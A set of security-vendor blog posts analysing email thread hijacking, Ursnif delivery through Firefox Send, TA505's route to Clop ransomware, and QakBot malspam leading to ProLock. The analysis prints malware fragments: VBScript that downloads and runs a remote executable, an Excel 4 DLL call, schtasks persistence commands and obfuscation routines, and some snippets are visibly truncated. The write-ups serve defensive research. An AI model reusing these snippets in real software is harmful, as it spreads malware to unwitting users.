Email Conversation Thread Hijacking

Email Conversation Thread Hijacking


“You should only open email attachments and links from senders you know” is a common piece of advice when it comes to preventing email-based malware and phishing attacks. However, in this article we outline an attack technique called email conversation thread hijacking, which uses existing email conversations of its victims and thus trust relationships to spread to new victims. Against this attack the previous advice will not help. We explain how email conversation thread hijacking is used by attackers, and why it dramatically increases the likelihood for victims to open malicious links or malicious attachments.



Malicious actors try to get victims to open malicious links or malicious attachments. To this end, they often mimic genuine emails, such as invoices. However, if a victim is not customer of a particular company or service they will likely not open invoices claiming to be from those companies or services, especially knowing that this is the most common scheme for malicious actors to lure victims into executing their malware. Malicious actors are thus also often using current events to spark an interest in victims to open their malicious links or malicious attachments. Examples of such events are Christmas, Black Friday, Halloween, Valentines Day, but also currently the SARS-CoV-2 pandemic. However, users are often also aware of these schemes and do not open any malicious links or malicious attachments, especially when they come out of the blue without any context.

Hence, more and more attackers are leveraging a technique called email conversation thread hijacking, also known as email reply chain attack or email thread hijacking. In this technique, an attacker uses existing email conversations of victims to spread to new victims. Previously attackers only used the email addresses listed in victims address books. Email conversation thread hijacking uses also victim’s past existing email conversation threads to spread to new victims. To this end, the attackers will reply to the conversations the victim has in his mailbox.


How does email conversation thread hijacking work?

An email thread hijacking attack begins when a first victim is compromised. Next, their emails and often email login credentials are stolen. The attackers will then reply to the victim’s emails with their malicious messages.

In the following example, the “From” field contains the victim’s email address. The “To” field contains the email address of the targeted user, with which the victim had an email conversation previously. The “Subject” contains the original subject of the email conversation but is prepended with a “Re: “. The quote below the message contains the entire email conversation the two parties had.

Email conversation thread hijacking example

Good attackers also adapt the reply language to that of the hijacked email conversation, e.g., the following example uses a German language reply:

Email conversation thread hijacking example

While in the previous examples the malicious reply email contained a malicious link, these emails can also use malicious attachments:

Email conversation thread hijacking example


How effective is email conversation thread hijacking?

To demonstrate how effective email conversation thread hijacking is, we recreated a real email exchange that we observed during a routine false-positive email inspection:

Email conversation thread hijacking example

In this example, the attackers compromised Joe Schmoe’s email account and replied to an email that Joe has previously received from Alice. They replied with a malicious link (OPEN THE DOCUMENT) and some generic text. Alice released the email from quarantine and tried to open the malicious link, but her browser saved her from getting infected. She subsequently replied to Joe’s compromised email account that she can’t open “the file” and asked if “the file” could be sent in a different format. The attackers then send Alice another malicious link. While we are certain the attackers hijacking a previous hijacked email conversation thread again was coincidence, this example clearly shows how effective email conversation thread hijacking can be.

Fortunately, no attacker tailors their reply emails to fit into the hijacked conversation (yet). However, since threat actors have highly automated email conversation thread hijacking attack tools, the chances that the hijacked conversation involves documents that are shared back and forth is high. And even if it does not, who wouldn’t open a document sent by a known contact within an existing email conversation?


Who uses email conversation thread hijacking?

The number of threat actors using email reply chain attacks keeps increasing. While first observed in May 2017 in a limited targeted spearphishing campaign, many commodity threat actors adopted the technique in 2018.

In 2019, also Emotet adopted email conversation thread hijacking. To this end, they added an email-stealing module. The module steals emails and login credentials from victims and sends them to Emotet’s C2 servers, which distribute them to the systems of other victims infected with Emotet’s spam module, where they are used in attacks against new victims. Recently, Emotet has enhanced its email reply hijacking technique by also stealing attachments from victims and placing its malicious attachment among stolen benign attachments in order for the email to appear even more legitimate.

QakBot is also frequently distributed via replies to existing email conversation threads. In 2020, the Valek malware started to be distributed via email thread hijacking, too.

Hornetsecurity has observed an increase in compromised accounts being used to send malicious emails. While some do not (yet) use email conversation thread hijacking and simply misuse victims’ email accounts to send emails, with access to victims’ email accounts it is trivial to perform email reply chain attacks. A threat actor simply has to reply to emails received by his victims. We are therefore certain that the trend towards email thread hijacking attacks will continue. Therfore, users can no longer rely on a known trusted sender when deciding whether it is safe to open attachments or links.


Conclusion and Countermeasure

The advice to only open email attachments and links from known senders is outdated. With email conversation thread hijacking, even commodity threat actors can automate highly sophisticated and effective spearphishing emails. Often victims are not aware that they are compromised. In such cases it is important to inform victims that they are spreading malicious content via email so they can take measures against the compromise. Immediate actions should be to change the email login credentials. Secondary steps would be to determine how the attackers gained access to the email account in the first place to prevent such incidents in the future.

For humans it is very difficult, if not impossible, to spot email conversation threat hijacking because, by being sent from a legitimate but compromised account, the emails are – apart from the writing style – indistinguishable from real legitimate emails. However, email filters that inspect the attachments or links in emails can detect malicious content regardless.

Hornetsecurity’s Spam and Malware Protection, with the highest detection rates on the market, detects and quarantines threats regardless of whether they use email reply chain attacks or not. Also Hornetsecurity’s Advanced Threat Protection is not affected by email conversation thread hijacking and will inspect email contents regardless of whether it was sent from a compromised account or not. Hornetsecurity’s malware, phishing and ATP filters take precedence over sender allow lists. This way even if a allow-listed sender gets compromised and his email account is misused to send malicious emails, Hornetsecurity customers are protected.

Firefox Send sends Ursnif malware

Firefox Send sends Ursnif malware


On 2020-07-07 Mozilla temporarily disabled their Firefox Send service due to abuse by malware. Hornetsecurity’s Security Lab explains how malware was abusing the Firefox Send service. To this end, a malspam campaign distributing a variant of the Ursnif malware is analyzed. The campaign used the Firefox Send service to host its malicious downloader and send victims these malicious Firefox Send links. Such abuse prompted Mozilla to disabled the Firefox Send service, because the service is currently lacking a feature to report abuse. Meaning even if researchers found these malicious links they could not be reported to Mozilla for takedown. However, our analysis further reveals that malware already abuses other services, hence, disabling Firefox Send – even though it was the right decision – has no impact on malware campaigns.


On 2020-07-07 Mozilla temporarily disabled their Firefox Send service due to abuse by malware. This was mainly done because the service does not offer a method to report abuse. Mozilla will likely enable the service again once they finish “work on product improvements” as stated on the message currently displayed when trying to reach the Firefox Send service’s webpage:

Firefox Send temporarily disabled

To explain why Mozilla temporarily disabled their Firefox Send service, Hornetsecurity’s Security Lab will analyze one malspam campaign distributing an Ursnif malware variant.


The campaign uses a mixture of link and attachment malspam distributing a VBScript file that downloads the Ursnif malware. The campaign leverages email conversation thread hijacking, i.e., the actors behind the attack will send their malware as a reply to their victims’ existing email conversations. One example email using the Firefox Send service to host the malicious payload looks as follows:

Initial email leveraging email conversation thread hijacking

The redacted parts contain a stolen email conversation thread that the campaign is replying to with its malicious link and a short message. The messages typically will state that a document has been updated and can be downloaded from the Firefox Send link. How good the malicious message fits into the hijacked email conversation thread seems to depend on chance, i.e., the message will refer to updated documents regardless what the conversation thread was really about.

The Firefox Send link will lead to a VBScript file. The VBScript file downloads an Ursnif variant most likely developed from another Ursnif variant called ISFB for which the source code is available publicly.

Then on 2020-07-07 Mozilla decided to temporarily disable Firefox Send, because the service does not feature a mechanism to report abuse. That means the download links can not be reported to Mozilla by security researchers. An abuse report feature is important to have for an online service, especially since the privacy focused nature of Firefox Send provides many opportunities for abuse. For example, the links can be password protected. The number of downloads, as well as, how long the download will be available, can be restricted:

Firefox Send privacy restrictions

This means an attacker can limit the amount of downloads to one for his victims. In case of a successful compromise an incident response team can not download the original malware payload anymore to reconstruct the infection. If the malware deletes its files after infection it will be hard to trace such an attack.

Another problem arises for legitimate use of the service and security software scanning such one-time download links. If security software downloads the file in order to scan it, the real recipient can not download the file anymore as the security software has already used the one available download.

For these reasons the Firefox Send service will highly likely continue to be abused once it returns. The abuse report feature will mainly be useful to report links that allow for multiple downloads and are used over a longer period of time. Reporting one-time download links could aid Mozilla in curbing abuse by detecting patterns in the way the actors behind the abuse interact with their service and then blocking them.

But even if the Firefox Send service should implement better protections against abuse the discussed malspam campaign does not depend on the Firefox Send service at all. The campaign used the Firefox Send service starting from 2020-06-01 (transitioning from using Google Drive links) to the day it was disabled:

Ursnif malspam campaign using Firefox Send exclusively over extended period of time

However, the campaign has used Google Drive and Dropbox links before using Firefox Send links. It also used encrypted ZIP attachments instead of download links and as soon as the Firefox Send service was disabled it switched to such an encrypted ZIP attachment scheme:

Initial email using encrypted ZIP attachment

Both Google Drive and Dropbox allow abuse reports, however, they are still abused by malware. This means when Firefox Send returns it will also get abused again.

Conclusion and Countermeasure

While we applaud Mozilla for temporarily disabling the Firefox Send service until an abuse report feature is implemented, the analysis of the discussed malspam campaign indicates that the Firefox Send service is only on of many services abused for malware distribution and adding the abuse report feature will not stop such abuse.

To protect against such attacks, especially the outlined email conversation thread hijacking, users should be cautious when they receive an out-of-order reply from a conversation partner, that tries to entice them to open links or other documents, either attached directly to the email or via a file hosting service, especially when such documents do not fit into the conversation and/or are delivered via an unusual mechanism, e.g., if documents are usually shared via a company internal file sharing solution, users should be especially cautious opening files shared via external services.

Hornetsecurity’s Spam and Malware Protection, with the highest detection rates on the market, already detects and blocks all variations of the outlined emails currently distributing the Ursnif malware variant. Here it is also important that users do not let themselves be fooled by the outlined email conversation thread hijacking. Hornetsecurity’s Advanced Threat Protection extends this protection by also detecting yet unknown threats. When using Hornetsecurity’s encryption service a third-party service such as Firefox Send to encrypt sent documents is not necessary. Outgoing emails are automatically encrypted with one of the common encryption technologies (PGP, S/MIME or TLS), depending on the set policy and availability of the corresponding certificates, without any further user intervention.


Clop, Clop! It’s a TA505 HTML malspam analysis

Clop, Clop! It’s a TA505 HTML malspam analysis


In this article Hornetsecurity’s Security Lab outlines one of the current infection chains by the operators behind the Clop ransomware. The outlined infection chain starts from an email with a malicious HTML attachment. This attachment redirects the victim to an XLS document containing the Get2 loader. This loader then installs a remote access trojan (RAT) on the system, which is used to prepare the victims network for the deployment of the Clop ransomware. The goal of the attack is to encrypt as many systems in the victims organization as possible in order to extort the highest possible ransom. To this end, the attackers also threaten to publish stolen data if the ransom is not paid.


This article is about the threat activity with TTPs and indicators aligning with threat activities tracked by other vendors as TA505 (Proofpoint), SectorJ04 (NSHC Singapore), GRACEFUL SPIDER (Crowdstrike), GOLD TAHOE (Securework), and Dudear (Microsoft).

This threat group has been active since at least 2014. They are financially motivated. They are known for using:

  • Quant (2018), Marap (2018), Amadey (2019), AndroMut (2019), and Get2 (2019-today) loader
  • FlawedAmmyy (2016-today), FlawedGrace (2019-today), ServHelper (2019-today), SDBbot (2019-today) RAT
  • Bart (2016), Locky (2016-2020), Jaff (2017), and Clop (2019-today) ransomware

They also use:

  • Dridex (2014-today)
  • TrickBot (2017-today)
  • Nercus (now defunct) and Neutrino botnets

These are, however, also widely used by other threat groups, hence, these are not robust indicators for attribution.

TA505 further use additional commonly available malware such as TinyMet, a tiny open source meterpreter stager [TinyMet]. From 2016 to 2019 they have also misused the legitimate software Remote Manipulator System (RMS) developed by the Russian company TektonIT for remote access.

The typical abstract TA505 infection chain is:

  1. Malspam dropping Get2.
  2. Get2 downloading SDBbot, FlawedGrace or FlawedAmmy RAT.
  3. Lateral movement in victim network.
  4. Main objective: Deploy Clop ransomware on maximum number of systems.

We will focus on one observed implementation of the infection chain as used by TA505 since 2019. In this infection chain the initial malspam email has an HTML attachment. This HTML attachment redirects the victim to the download of an XLS document. This XLS document then drops the Get2 loader which (in our observation) downloads SDBbot.

TA505 HTML malspam infection chain

SDBbot is used for reconnaissance and lateral movement in the victim’s network. When deploying the Clop ransomware TA505 does not seem to care about encrypting computers of individuals. Their intention is to mass encrypt computers of an entire organization. This is presumably done to increase leverage on the organization in order to increase the demandable ransom amount as well as increase the pressure on the organization to pay the ransom. The focus on large organizations is known as big-game-hunting. One example of a successful TA505 attach was the attack on the Maastricht University. The university had 267 Windows server’s data encrypted by the Clop ransomware. The university paid 30 BTC roughly $220,000 for a decryptor to get its data back.

Since around 2020-03-24 TA505 has also started to leak stolen data from Clop ransomware victims refusing to pay onto the Internet on their site called CL0P^_- LEAKS. This is a further attempt to increase pressure on the victims to pay the ransom.

The operational tempo is high. Malspam campaigns happen on a weekly basis. Download and C2 domains are rotated daily.

We now further analyze the observed outlined infection chain in more detail.

Technical Analysis

Being an email security provider we will focus on the initial email-based access vector of the attack and only briefly outline the aftermath taking place in case the initial email is received and opened by a victim.


The emails are send from compromised email accounts. They therefore pass spam reputation, DMARC, DKIM and SPF checks. The emails use signature blocks from previous compromised victims presumably to make the emails look more legitimate. We were able to confirm these two facts for some of the emails. However, the compromised account is different from the stolen signature block used in the emails. Only the display name in the emails from header is changed to the name used in the signature block. Some examples of such TA505 HTML malspam emails received within 1 week are as follows:

TA505 initial email

TA505 initial email

TA505 initial email

TA505 initial email

TA505 initial email

TA505 initial email

TA505 initial email

The daily changing emails highlight the high operational tempo of TA505.

HTML attachment

Each email has an HTML attachment. The HTML code will redirect victims to a compromised website. Like the emails themselves the HTML attachments are also frequently changing. In the week the previous outlined email templates were used we identified three distinct redirection techniques used in the HTML attachments.

The first uses the following Javascript redirect:

TA505 HTML attachment

Next, the HTML <embed> tag was used:

TA505 HTML attachment

Then the <object> tag:

TA505 HTML attachment

The HTML attachments use hash busting via random strings. We were able to confirm this by finding several HTML attachment in which what appears to be placeholder marks were not replaced with the random strings. In this example the {{RND_TEXT}} was probably supposed to be replaced with a random string (as it was in the other HTML attachments):

TA505 HTML attachment template fail

The {{RND_TEXT}} could be Jinja syntax. Jinja is a web template engine for the Python programming language. It uses the {{var}} syntax to mark placeholder locations in the HTML template code that are then filled with the desired values upon instantiating HTML code from the template.

Besides changing the HTML redirect techniques and the URLs, the HTML attachments also multiple times rearranged the HTML elements or added unused <a> tags in order to avoid detection by static signatures.

Intermediate redirect

The HTML attachments either redirect to or embed HTML from a most likely compromised website. This HTML code then further redirects the victim to another attacker controlled domain:

TA505 redirect on compromised website

How exactly TA505 acquires access to those intermediate redirect websites is not known. However, because they mostly feature only static content and no CMS web vulnerabilities are highly unlikely. As TA505 is known to steal FTP credentials this is a likely access vector.

XLS download domain

Next, the intermediate redirects lead to domains registered by TA505. As the emails, attachments, and intermediate redirects, these domains also frequently change. The domains observed over the course of 1 month is as follows:

TA505 XLS download domains observed over 1 month

As can be seen TA505 is registering fresh domains on a daily basis (during campaigns). This again highlights their high operational tempo.

The following pattern can be observed.

First, Let’s Encrypt certificates are acquired. The time at which the certificates for the above outlined domains were acquired can be seen in the following plot:

TA505 Let's Encrypt certificate acquisition times

Next, the HTML attachment malspam is send:

TA505 HTML malspam times

After the malspam new domains for the next day are registered:

TA505 XLS download domain registration times

This, again, highlights the persistence and high operational tempo of TA505.


As of 2020 the malicious XLS documents are protected via CAPTCHAs. The following are the presented download screens. These were observed within only one week:

TA505 using CAPTCHAs

TA505 using CAPTCHAs

TA505 using CAPTCHAs

The CAPTCHAs are likely used to hinder automated analysis by security companies. And again, as before the used CAPTCHA service and layout of the download page changes frequently.

In the HTML code of one XLS download webpage we also found the {{RND_TEXT}} placeholder string again:

TA505 HTML template fail

This is, again, presumably used for hash busting.


After the CAPTCHA has been solved, the victim downloads the TA505 XLS document. The number in the filename changes for every download. The document hash changes every minute. The changes are performed to the documents meta data such as title, subject and author but also the content of the document itself, as can be seen from comparing two XLS documents downloaded at different times:

$ diff <(exiftool Form\ F-12189.xls) <(exiftool Form\ F-44754.xls)
< File Name                       : Form F-12189.xls
> File Name                       : Form F-44754.xls
< File Size                       : 816 kB
< File Modification Date/Time     : 2020:06:25 15:13:02+02:00
> File Size                       : 734 kB
> File Modification Date/Time     : 2020:06:25 15:13:11+02:00
< File Inode Change Date/Time     : 2020:06:25 15:13:04+02:00
> File Inode Change Date/Time     : 2020:06:25 15:13:13+02:00
< Title                           : Q
< Subject                         : U
< Author                          : gzh
> Title                           : pfaE
> Subject                         : nudUSwT
> Author                          : k
< Revision Number                 : 641
> Revision Number                 : 458
< Total Edit Time                 : 18.4 hours
> Total Edit Time                 : 14.5 hours
< Modify Date                     : 2020:06:25 07:55:19
> Modify Date                     : 2020:06:25 07:57:12
< Words                           : 2696
< Characters                      : 9575
> Words                           : 2669
> Characters                      : 4214
< Bytes                           : 28002
< Lines                           : 689
< Paragraphs                      : 75
> Bytes                           : 75897
> Lines                           : 395
> Paragraphs                      : 15

The changes are again based on random strings. The VBA project in the document stays the same:

$ diff -r Form\ F-12189 Form\ F-44754
Binary files Form F-12189/[5]DocumentSummaryInformation and Form F-44754/[5]DocumentSummaryInformation differ
Binary files Form F-12189/[5]SummaryInformation and Form F-44754/[5]SummaryInformation differ
Binary files Form F-12189/Workbook and Form F-44754/Workbook differ

The document features the typical instructions to “Enable Editing” and to “Enable Content”:

TA505 XLS document

In case a victim does so, a fake “Microsoft Office Components” window appears:

TA505 XLS fake Microsoft Office Components window

The window is actually produced by the VBA macro code of the document itself:

TA505 XLS VBA code for fake Microsoft Office Components window

The fake loading screen is likely deployed to prevent victims from closing the document too early, i.e., before the embedded malware has completed running. This is important because the Get2 loader will run within the EXCEL.EXE process that opened the XLS document. Once that process is closed, so is this initial malware loader.

The Get2 loader DLLs are embedded in the downloaded XLS document:

$ binwalk Form\ F-12189/MBD007A19C2/\[1\]Ole10Native --dd=".*"

17513         0x4469          Microsoft executable, portable (PE)
354857        0x56A29         Microsoft executable, portable (PE)

One of the DLLs is 32-bit, the other 64-bit:

$ file *
4469:  PE32 executable (DLL) (console) Intel 80386, for MS Windows
56A29: PE32+ executable (DLL) (console) x86-64, for MS Windows

The VBA macro code extracts the embedded object, and the embedded Get2 loader DLLs. It writes them (first the 64-bit, then the 32-bit version) to %APPDATA%\Roaming\Microsoft\Windows\Templates\libIntel{1,2}.dll. The code then uses ExecuteExcel4Macro to call the libIntel{1,2}.dll, i.e. the Get2 loader. The called function is actually the path (in this case vckpmd) that should be queried from the C2:

TA505 XLS calling Get2 DLL

The ExecuteExcel4Macro function allows to execute arbitrary Excel 4 Macro statements. In this case, CALL("C:\Users\...\libIntel2.dll","vckpmd","J"), which allows to execute code from the DLL directly from the EXCEL.EXE process without having to spawn an otherwise suspicious process.

First, the 64-bit DLL is called, even in a 32-bit EXCEL.EXE process. If that fails the 32-bit version is written to disk and called.

Get2 loader

The aforementioned libIntel{1,2}.dll DLL is the Get2 Loader. Its purpose is to download and execute additional TA505 malware. To this end, it first gathers some system information, then sends a POST request to the C2 server as follows:

TA505 Get2 POST request

The parameters send to the C2 contain the follow data from the victim’s system:

  • D: Hostname
  • U: Username
  • OS: Windows version
  • PR: List of running processes

The C2 will then respond with URLs of the follow up malware to download.


Currently, the next stage malware of choice downloaded by TA505’s Get2 loader is SDBbot [SDBbot]. SDBbot is a RAT. This stage of the infection functions as a beachhead for lateral movement and movement on objective, i.e., the deployment of the Clop ransomware. To this end, SDBbot is used to explore the infected network and load additional malware to prepare for the deployment of the Clop ransomware. One of such preparations is the deactivation of endpoint security software before deploying the Clop ransomware.

Clop ransomware

“Clop” pronounced in English sounds close to the Russian and/or Bulgarian word “клоп”, meaning “bug”. Many believe this to be the origin of the name. The Clop ransomware is derived from the CryptoMix ransomware [CryptoMix]. It is the last stage of an TA505 attack. The goal seems to be to deploy the Clop ransomware to as many systems within a victim network as possible in order to put as much pressure on the victims to pay the ransom. Encryption usually happens on the weekend to reduce the risk of personal within the victim company noticing the encryption process and stopping the ransomware attack prematurely.


Around 2020-03-24 TA505 has started to leak stolen data from victims refusing to pay the ransom onto the Internet. To this end, they run a Tor hidden service website titled CL0P^_- LEAKS:


As of writing the site features 12 victims. This, again is used to further pressure the victims into paying.

Conclusion and Countermeasure

As this article shows determined cybercriminals, such as TA505, put a large amount of effort into their attacks. The daily consistency rotating domains and constantly updating their payloads to avoid detection clearly demonstrates that this is organized crime. The ruthless extortion of victims via public shaming further demonstrate the extend to which criminals will go to make profit.

Attacks as these can be defended against at multiple stages. As a last resort, solid backups can allow a company to bootstrap themselves back from a ransomware attack without paying the ransom. The general recommendation for backups follows the 3-2-1 rule [US-CERT]. 3 different copies, on 2 different mediums, at least 1 off-site, e.g., in the cloud. It is also advised to practice restoring systems from backups, because a backup is only successful when the data has been restored, not when it has been backed up.

Further, blocking of C2 communication at any point during the infection chain can prevent the infection from commencing to the next stage. To this end, webfilters can be used.

Last but not least, blocking the initial email will obviously prevent the whole chain from unfolding in the first place. Hornetsecurity’s Spam and Malware Protection with the highest detection rates on the market can block the outlined malicious HTML attachments. Hornetsecurity’s Advanced Threat Protection extends this protection by adding additional state of the art security layers against yet unknown threats.

Even though, in terms of business, paying the ransom may outbalance the costs that go along with not paying the ransom, a ransom should not be paid. It finances the attackers, leading to more ransomware attacks. It will ensure the victim that paid will stay on the target list. Afterall, these attackers are interested in financial gain and not destruction of companies, meaning a victim that will not pay a ransom no matter what is not a good target. Obviously, this does not mean that a company known to not paying ransoms will never fall victim to ransomware again. It means attackers will likely not specifically target that specific company again. Not paying a ransom and accepting a data leak is especially hard. However, there is no guarantee the leaked data will be deleted. Only the promise of criminals. The leaked data could be sold in the underground economy, be used in future attacks, and even be used to extort the victim again at a later point in time. Last but not least, even without a public leak, a data breach is still a data breach with all its legal ramifications, such as a data breach notification and fines. Paying a ransom will not annul those.



QakBot malspam leading to ProLock: Nothing personal just business

QakBot malspam leading to ProLock: Nothing personal just business


The FBI and the German agency CERT-Bund [1][2] are warning of QakBot malspam currently distributing ProLock ransomware.

QakBot is spread via email. In the outlined campaign, an email with a link to a ZIP archive containing a VBScript file is used to download the QakBot loader onto victim computers. From there, the ProLock ransomware can be loaded by the QakBot operators.

The ProLock ransomware uses RC6 to encrypt files on the victims computer. It spares the first 8 KiB of all files. It appends a .proLock extension to encrypted files and leaves a ransom note stating that it is “[n]othing personal just business” and instructions on how to pay the ransom. However, the ransomware also deletes files ending with .bac or .bak extensions, so victims will still lose those files even if they pay.


QakBot (aka. QBot, QuakBot, Pinkslipbot) has been around since 2008. The ProLock ransomware is relatively new. We have summarized a timeline of recent events regarding both pieces of malware:

Recent events regarding QakBot

ProLock is a ransomware that was first observed at the end of 2019. At the time, it was called PwndLocker. However, PwndLocker had a bug, so victims were able to decrypt their files without paying the ransom. Hence, in 2020, it was rebranded as ProLock ransomware after fixing the flaw.

Even though ProLock typically gains access to victims via RDP, it has recently been distributed via QakBot in a similar fashion that Emotet distributes ransomware.

Technical Analysis

This analysis will first outline some steps of the currently observed QakBot infection chain. The relevant and interesting steps have been outlined in the flow chart below.

QakBot Infection Chain

The initial infection uses an email with a link to a ZIP archive. The ZIP archive contains a VBScript file which downloads the QakBot loader. Like Emotet, QakBot is able to load other malware. The latest of such distributed malware and subject of multiple warnings by governmental institutions is the ProLock ransomware.

The second part of this article gives an overview of the inner workings of the new ProLock ransomware.


The observed campaign was targeting Germany and used thread hijacking, i.e., QakBot replied to existing email conversations obtained from previous victims. The previous victims’ communication partners would then receive an email with a link such as this one:

Initial Email Variant

The lower section of the email (not displayed here) contains the hijacked conversation thread.

Since this campaign, many different campaigns have been observed, also in languages other than German.


Emails have the display name of the RFC5322 “From” header set to the display name of the communication partner in the highjacked conversation thread. The address in the RFC5322 “From” header is the real address of the sender. This way, the emails pass SPF and DKIM checks.

To illustrate this, let’s assume Alice has taken part in a conversation with Bob Doe. This conversation thread is highjacked when she gets infected with QakBot. The RFC5322 “From” header in the stolen emails is Bob Doe <>. Now, Alice’s computer sends QakBot malspam. The emails will be sent with a RFC5322 “From” header of Bob Doe <>.

In case there is no display name, the email address is used directly as display name in the RFC5322 “From” header. This behavior can be seen in some emails. Here is one example:

Initial Email Variant


From the dates in the hijacked email conversations, it can be established that the stolen emails are mainly recent, i.e., hijacked email threads are only several days old when used in attacks. But unlike Emotet, the operators of this malspam operation do not seem to restrict the thread hijacking to current emails. We have also observed emails hijacking threads dating back to 2015.


The emails try to lure victims into downloading from a link labeled ANHANG ZUM DOWNLOAD by pretending that the conversation partner must review or comment the document behind the download link with different phrases. In previous English-language campaigns, the link was labeled ATTACHMENT DOWNLOAD. Here are some examples:

Initial Email Variant

Initial Email Variant

Initial Email Variant

While there seems to be a finite pool of phrases (since we have observed repetitions), the phrasing is completely generic and can be replaced with any other phrasing at any time. This way, these emails can be injected into virtually any conversation thread.

The link leads to a ZIP archive containing a VBScript file.

VBScript file

While the VBScript file appears to be around 37 MiB (38045309 Bytes), it is padded with zeros:

$ hexdump -C Darlehensvertrag_8378051_19052020.vbs | less
00000000  0a 4f 6e 20 45 72 72 6f  72 20 52 65 73 75 6d 65  |.On Error Resume|
00000010  20 4e 65 78 74 0a 64 69  6d 20 6a 4d 52 50 42 2c  | Next.dim jMRPB,|
00000020  20 68 6d 58 74 76 6c 2c  20 68 68 71 49 43 54 2c  | hmXtvl, hhqICT,|
00033f50  45 47 46 58 53 51 20 3d  20 46 69 78 28 44 4d 4c  |EGFXSQ = Fix(DML|
00033f60  63 63 29 0a 56 7a 4f 64  69 20 3d 20 78 61 74 43  |cc).VzOdi = xatC|
00033f70  58 48 4e 20 6f 72 20 4e  72 4c 62 55 6d 0a 0a 00  |XHN or NrLbUm...|
00033f80  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
02448670  00 00 00 00 00 00 00 00  00 00 00 00 0a           |.............|

The actual VBScript code is only around 200 KiB or 0.5% of the file. This is probably done to avoid detection, as some systems will not scan files if they surpass a specific size limit.

The script uses evasion, anti-debugging and obfuscation techniques.

We will only highlight the interesting parts of the script.


The script sleeps for 30000 ms:

ozcHEG = 318 - 15 + 490 + 5 - 22 - 9 - 7 + 10 + 29230
WScript.Sleep ozcHEG

This is probably a dynamic analysis avoidance technique. Some analysis systems use timeouts to keep the analysis time short and decide whether a sample is malicious or not based on the actions it performs until the timeout.

Error suppression

The script uses On Error Resume Next in every function. This instructs the program to continue with the next program statement even if an error occurs.


String replacement

The script uses a common string replacement technique to obfuscate real strings used in the script. The code

set o=CreateObject(replace("Rx1wRx1scRx1rRx1ipRx1tRx1.sRx1heRx1lRx1l", "Rx1", ""))


set o=CreateObject("")

This technique is used in multiple places throughout the script.

Character concatenation

The script uses character concatenation to form strings from single calls to the chr() function. The code




This technique is used in multiple places throughout the script.

XOR encryption

The script uses a very large string (defined at the beginning). We renamed the string to LARGE_STRING. This large string is transformed 3 times via a function that uses the XOR cipher to decrypt the download URLs and executable filenames. The XOR keys are obtained by indexing into a smaller string we renamed to xor_key_selection_string:

xor_key_selection_string = "J32EmExEv2QE3ZfZsFlO84vJKXRFXWutfc2vigLlDKJZNT9T0wlTWtOiqp8dSt7XJzu9VhQvxzXARwg1kjAEvzaRQJcqbW2J0HmDtXeVxk18ZFhG9zZwWTN4aGkDh0nbIIFGhOPU50PzCAGbom360Sry6vA9DHp56oAtEZZRhaSL0noyFy4C9B3rXTSbPbx0hcOnsNYVUTQ7TIKSLavputomDcV50UwbgBoXbX1a8iY11TCylu13ugCo7C8FXmbSGYPi4rr1dq6KaV7kpp2g6urPeKD3HuLb2nYobSWe9KvmKxGdfUxNz8HAdGjI2kjh6ojyqdayw9RT5yYxLEQsRiHnuz0RiyDeVLFVutox5abkwDf9v66PWlRw4HrThNtW36OZOgw7zmvmOr5ysh5uUf3lRRIcP"
xor_key_1 = Asc(Mid(xor_key_selection_string, rZGOkh, 418 + 454 + 6 - 19 - 4 + 12 - 21 + 129 - 974))
TRANS_LARGE_STRING  = string_transform(LARGE_STRING, xor_key_1)
jRABF   = sgzJJn * NrLbUm

DMLcc   = 468 + 14 - 9 + 21 - 196 - 100 + 178 - 231 + 578                        

TRANS_LARGE_STRING  = string_transform(TRANS_LARGE_STRING, xor_key_2)

MGQNb = SWoDQ - xatCXHN                                                          

TRANS_LARGE_STRING = string_transform(TRANS_LARGE_STRING, xor_key_3)

(The xor_key_selection_string, xor_key_{1,2,3}, string_transform, TRANS_LARGE_STRING and LARGE_STRING were renamed by the analyst to better understand the program logic. In the original code, these were random character sequences.)

Network connection

The script sends GET requests to 5 different URLs:

Wireshark network capture

The VBScript code responsible for the GET requests can be found inside the following for loop:

        For i = 1 To 6
                ms.Open Replace("S12GES12TS12", "S12", ""), RryLCg(index) & iGonf, False

(Please note we have used a tool to standardize the code indentation.)

The user agent is hard-coded into the script. It is a capitalized word written twice, like here:

ms.setRequestHeader OIEDjshTTW, "AlbertaAlberta"

While the words are random and different between single samples, it is always a word written twice, e.g., LamodaLamoda, etc.

In the uid parameter in the query string is a Base64-encoded string containing the versions of both the system’s antivirus software and Windows:

Decoded uid parameter

This information is obtained via two WMI queries:

GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\SecurityCenter2").ExecQuery("select * from AntiVirusProduct")


GetObject("WinMgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")

(Obviously again, the original code for these two queries is obfuscated and spans several lines of code.)

Download and launch of QakBot loader

The same GET request that sends the uid parameter gets a PE file as a response:

The script writes it to %userprofile%\AppData\Local\Temp\PicturesViewer.exe and starts the executable:

The relevant code in the VBScript file is within the aforementioned GET request for loop. It first checks the readyState. If the request is DONE (readyState = 4), it checks whether the response body size is different from 0, and, finally, whether the response content starts with MZ:

If ms.readyState = 4 Then
        If Len(ms.responseBody) <> 0 Then
                If Left(ms.responseText, 2) = "MZ" Then
                        .Write ms.responseBody
                        execute RryLCg(6)

Now, the downloaded QakBot loader is running, and this concludes the downloader script.


The downloaded QakBot loader is packed. It unpacks itself at runtime in memory. It first runs itself with the /C option flag. This causes the QakBot binary to run checks to determine whether it is being run inside a sandbox. Next, it runs itself via a scheduled task using schtasks.exe /Create /RU \"NT AUTHORITY\\SYSTEM\". This allows the bot to increase its privileges. It then injects into explorer.exe via process hollowing (using CREATE_SUSPENDED). After that, it obtains persistence via run keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run), as well as with a scheduled task (schtasks.exe /create /tr mjezacl.exe /sc HOURLY /mo 5).

After that, it queries for the external IP of the infected system. At last, in the deterministic part of its execution chain, it establishes communication with the C2 (proxy) servers.

This way, QakBot, like Emotet, can also load further modules as well as additional malware. In this case, QakBot downloads and executes ProLock.

Before analyzing ProLock, let’s have a quick look at QakBot’s C2 IPs.


The C2 IP’s mainly come from the United States, and to a much lesser extent from Romania. However, the distribution may vary slightly from campaign to campaign.

The distribution run using tag spx128, for instance, had its third cluster of IPs in Mexico:

C2 distribution by country

On the other hand, the distribution run using tag spx116 and a German-language lure has slightly more C2 IPs from Europe:

C2 distribution by country

